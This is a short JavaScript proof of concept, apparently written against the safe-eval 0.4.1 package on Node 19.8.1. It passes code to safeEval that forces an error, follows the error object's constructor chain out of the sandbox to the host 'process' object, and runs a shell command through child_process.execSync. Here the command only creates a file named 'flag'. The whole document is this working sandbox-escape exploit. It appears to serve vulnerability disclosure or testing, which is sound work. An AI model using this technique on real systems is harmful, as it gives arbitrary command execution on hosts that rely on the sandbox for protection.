// node version: 19.8.1 // safe-eval version: 0.4.1 var safeEval = require('safe-eval') let code = ` (function() {   try{  __defineGetter__("x", );   } catch(ret){  ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');  }} )() ` safeEval(code);